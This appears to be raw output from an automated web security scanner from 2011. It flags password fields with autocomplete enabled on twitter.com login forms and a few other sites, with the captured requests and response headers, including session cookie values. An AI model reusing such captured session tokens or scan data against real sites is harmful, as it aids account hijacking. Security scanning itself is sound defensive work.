HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:19 GMT Server: hi Status: 200 OK X-Transaction: 1296570799-74375-37658 ETag: "364468a11a20806213cf8eb3c5356618" Last-Modified: Tue, 01 Feb 2011 14:33:19 GMT X-Runtime: 0.00791 Content-Type: text/html; charset=utf-8 Content-Length: 52881 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570799027712; path=/; expires=Tue, 08-Feb-11 14:33:19 GMT; domain=.twitter.com Set-Cookie: guest_id=1296570799040535; path=/; expires=Thu, 03 Mar 2011 14:33:19 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWQ2NzZkMGVmMDMxYmNiN2IxZjBmOTdmN2VhMTRhZjMzIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIwVOk4S0B--7af583231980c89fe8b1a8b6c0b84deaf067171e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /chain_llc HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-10807-47801 ETag: "f9a393245c11bc02c2ae91805680e7ec" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.01474 Content-Type: text/html; charset=utf-8 Content-Length: 38705 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765904767; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707683009389; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTNkOGIzZjA0MzgzOTVmMjU4NjQyMDQwZjA1NTg1MzBmIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIsNuj4S0B--862e59bb3bd797cae7bb00e4d5f0ae979dd432a7; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /chain_llc_cod HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:12 GMT Server: hi Status: 200 OK X-Transaction: 1296570792-52582-15646 ETag: "75cf00f02d3fa94a4cce59ac510bc0b6" Last-Modified: Tue, 01 Feb 2011 14:33:12 GMT X-Runtime: 0.01503 Content-Type: text/html; charset=utf-8 Content-Length: 38868 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570792676013; path=/; expires=Tue, 08-Feb-11 14:33:12 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079280389025; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTMwMzMxNzg4MGI3NmU0YzUzNWMyODY2OWI5YTE0YmZhIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIZTuk4S0B--8fef274b328043273d28c9d450850d5560e59e88; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /chain_llc_mg HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-88752-1879 ETag: "e7b448ce41f072da7cf0c0e79e7ea904" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.02410 Content-Type: text/html; charset=utf-8 Content-Length: 37922 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765567580; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076829194484; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTI3MjVhMGJiZTQ1ZDk4ZGZhMTRlMjQyM2E4Y2VmY2QyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIpduj4S0B--efc213a9b24ebd70cca35dda557409a2fd957e56; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /cloudscan HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:49 GMT Server: hi Status: 200 OK X-Transaction: 1296570769-80688-30975 ETag: "f6d6928da3cefbfd657cd1e00ee32f98" Last-Modified: Tue, 01 Feb 2011 14:32:49 GMT X-Runtime: 0.01580 Content-Type: text/html; charset=utf-8 Content-Length: 36105 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570766765958; path=/; expires=Tue, 08-Feb-11 14:32:46 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707698208199; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTMwNTIyZTg1YmY2Njc3ZmZiYjAyZmEyMGViOWMyOTAwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIneGj4S0B--2358db729323d545c46cdb0ecb8b26170a259191; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /donlomb HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:55 GMT Server: hi Status: 200 OK X-Transaction: 1296570775-73415-59612 ETag: "ac15b4f3ef758ea8b83677d83e987f43" Last-Modified: Tue, 01 Feb 2011 14:32:55 GMT X-Runtime: 0.00802 Content-Type: text/html; charset=utf-8 Content-Length: 50405 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570772308394; path=/; expires=Tue, 08-Feb-11 14:32:52 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707752439485; path=/; expires=Thu, 03 Mar 2011 14:32:55 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWIwYjRkNGZkZWJkMjQyMWVkNmJkZTgzMzI3MzdlNjhjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIzPaj4S0B--030bb95a52ee53c76439bbd70cb14ed1d739a3fd; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /jasmith579 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:18 GMT Server: hi Status: 200 OK X-Transaction: 1296570798-55196-13932 ETag: "a2ecebaaf9d3d360bc805f817b215a77" Last-Modified: Tue, 01 Feb 2011 14:33:18 GMT X-Runtime: 0.01289 Content-Type: text/html; charset=utf-8 Content-Length: 56069 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570798090853; path=/; expires=Tue, 08-Feb-11 14:33:18 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079811198493; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTk3N2U3YTMxNDg1NWUwNjcwZTdlOTdmNDJhZjZjM2UyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIIVCk4S0B--796785cfb0d38949a5ae8675f3a91166e867ce5c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /jobs4writers HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:50 GMT Server: hi Status: 200 OK X-Transaction: 1296570770-98065-13077 ETag: "1b0bc4eda75c7bfc5a3aefe4e3c48102" Last-Modified: Tue, 01 Feb 2011 14:32:50 GMT X-Runtime: 0.01223 Content-Type: text/html; charset=utf-8 Content-Length: 48119 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570768635237; path=/; expires=Tue, 08-Feb-11 14:32:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077084360183; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTcyMDA4MmFhOWEwMTE0OWMzZjkwOWM2MTQwZmU4Yjc1Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIneWj4S0B--f76cb5e0d79a1f81cfaea789953eb10c055b5927; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /ligatt HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:35 GMT Server: hi Status: 200 OK X-Transaction: 1296661355-75046-21619 ETag: "31dfafc6b29dbec79c913fe638627e5f" Last-Modified: Wed, 02 Feb 2011 15:42:35 GMT X-Runtime: 0.01660 Content-Type: text/html; charset=utf-8 Content-Length: 47876 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661353295022; path=/; expires=Wed, 09-Feb-11 15:42:33 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135533188415; path=/; expires=Fri, 04 Mar 2011 15:42:35 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCEUbCuctAToHaWQiJWE2OWEyMWIxMTc5YTYw%250ANmZhN2Q3OTIyYzc5ZDYwNWQ4IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--a4e58d6dbb8d0ce1ed03c56c36f6c02738fdac86; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /lijobs_sales HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:12 GMT Server: hi Status: 200 OK X-Transaction: 1296570792-82751-28503 ETag: "932f52e7f7af6068f672d95cf3725d61" Last-Modified: Tue, 01 Feb 2011 14:33:12 GMT X-Runtime: 0.02091 Content-Type: text/html; charset=utf-8 Content-Length: 40921 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570792688045; path=/; expires=Tue, 08-Feb-11 14:33:12 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079281895011; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWYzYTM1Mjk5ZGJhN2YzYzA1NDYxNzI4M2Q1NDUwYTVjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIdDuk4S0B--20a6c586394dd649985d85da8e4da5d7defdfc8e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /millenniumpr HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:32 GMT Server: hi Status: 200 OK X-Transaction: 1296661352-30168-38790 ETag: "f2a0e6c75327c6bde49026a33f441692" Last-Modified: Wed, 02 Feb 2011 15:42:32 GMT X-Runtime: 0.01902 Content-Type: text/html; charset=utf-8 Content-Length: 50941 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661350385545; path=/; expires=Wed, 09-Feb-11 15:42:30 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135282188420; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCHkRCuctAToHaWQiJTI1ZmYyOGJhMWQwMGVm%250AYjE3ZjRhNzAyMGYyYTE0OTIyIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--273bebf8e6a59a26f05b04399dca4ed09cc2b74f; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /orbitz HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:42:32 GMT Server: hi Status: 200 OK X-Transaction: 1296661352-6519-32456 ETag: "c28bb37b2dd880759a3c3e7bbe9bbf76" Last-Modified: Wed, 02 Feb 2011 15:42:32 GMT X-Runtime: 0.01729 Content-Type: text/html; charset=utf-8 Content-Length: 50053 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296661350299032; path=/; expires=Wed, 09-Feb-11 15:42:30 GMT; domain=.twitter.com Set-Cookie: guest_id=129666135281353758; path=/; expires=Fri, 04 Mar 2011 15:42:32 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCHARCuctAToHaWQiJTI5YzUwMzZjM2IyNTkw%250AODE5YWQ5YTc2NTQwNjY3MDgyIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--6001935ba9443587464c66ae0b4df1de23ed2362; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /prolawrssfeed HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:51 GMT Server: hi Status: 200 OK X-Transaction: 1296570771-52990-26380 ETag: "257b2d56a0f8d6ef371c4e2c972c8c3a" Last-Modified: Tue, 01 Feb 2011 14:32:51 GMT X-Runtime: 0.01689 Content-Type: text/html; charset=utf-8 Content-Length: 42788 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570768467881; path=/; expires=Tue, 08-Feb-11 14:32:48 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077116353647; path=/; expires=Thu, 03 Mar 2011 14:32:51 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTIyYjQwYTg5NDU5NDgxMjdmYTViMTVjYjk1OTc5YzMyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI3eaj4S0B--7a5fc965bf09be34b2e39c47e092a5479cc149c1; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /qianam HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:17 GMT Server: hi Status: 200 OK X-Transaction: 1296570797-79649-25731 ETag: "6a1b58c730c5ce80e60e0bdaf3239ea2" Last-Modified: Tue, 01 Feb 2011 14:33:17 GMT X-Runtime: 0.01298 Content-Type: text/html; charset=utf-8 Content-Length: 56209 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570797885016; path=/; expires=Tue, 08-Feb-11 14:33:17 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079790164862; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTBlN2VlZWExZGU0MWVmMjhhZGFkMGZmNTI1NjBmNzFlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIT0%252Bk4S0B--fdd7d7f34f7fc82c819ff96f72fe018f82127c14; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /rosyresources HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:20 GMT Server: hi Status: 200 OK X-Transaction: 1296570800-89824-7199 ETag: "a6a597f3ba9c55bb6fc04cfce59dc9f9" Last-Modified: Tue, 01 Feb 2011 14:33:20 GMT X-Runtime: 0.01954 Content-Type: text/html; charset=utf-8 Content-Length: 49430 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570800095954; path=/; expires=Tue, 08-Feb-11 14:33:20 GMT; domain=.twitter.com Set-Cookie: guest_id=129657080010985701; path=/; expires=Thu, 03 Mar 2011 14:33:20 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTZmMzIyN2Q2ZDU4YjUxNDg1ODIxYTVlNGIxZTFjZmU0Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI8Fek4S0B--3e8ab80412a1832934d5b0c95fbe9e0537185fe8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /sp_arizona HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:17 GMT Server: hi Status: 200 OK X-Transaction: 1296570797-74858-25074 ETag: "af94f4598d9ba4dc824eed21cf28130c" Last-Modified: Tue, 01 Feb 2011 14:33:17 GMT X-Runtime: 0.01041 Content-Type: text/html; charset=utf-8 Content-Length: 59892 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570797191212; path=/; expires=Tue, 08-Feb-11 14:33:17 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079719886226; path=/; expires=Thu, 03 Mar 2011 14:33:17 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTdkN2FlNWM5N2ZiNDExYmMwMzUxZDk0N2E3NTNjZWI4Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIkEyk4S0B--3dc48e749df60de049063cbf90ad7fc867311bc5; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /sp_oregon HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:16 GMT Server: hi Status: 200 OK X-Transaction: 1296570796-41787-44598 ETag: "9062b69bb373471eebcb428cbc672264" Last-Modified: Tue, 01 Feb 2011 14:33:16 GMT X-Runtime: 0.01675 Content-Type: text/html; charset=utf-8 Content-Length: 59349 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570796952504; path=/; expires=Tue, 08-Feb-11 14:33:16 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707969606832; path=/; expires=Thu, 03 Mar 2011 14:33:16 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTg4M2FlMWU1YTdjODcyZDAwZjNmMDYzNDM3NTg4NjYzIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIo0uk4S0B--8c1cd526ce98f4b9a27c95f038357bd12cd59e4e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
http://wp-superslider.com/site/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET / HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
https://www.astaro.co.uk/user/login
The form contains the following password field with autocomplete enabled:
Password
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:22 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDeu=bv7eodcrp0t34v0n39i8932ve0; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:22 GMT X-Powered-By: eZ Publish Served-by: www.astaro.co.uk Content-language: en-GB Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB" lang="en-GB"> <head>
The page contains a form with the following action URL:
https://www.astaro.de/user/login
The form contains the following password field with autocomplete enabled:
Password
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:08 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDde=osr305vfiegtr4m0rumdbdt3r7; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:08 GMT X-Powered-By: eZ Publish Served-by: www.astaro.de Content-language: de-DE Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
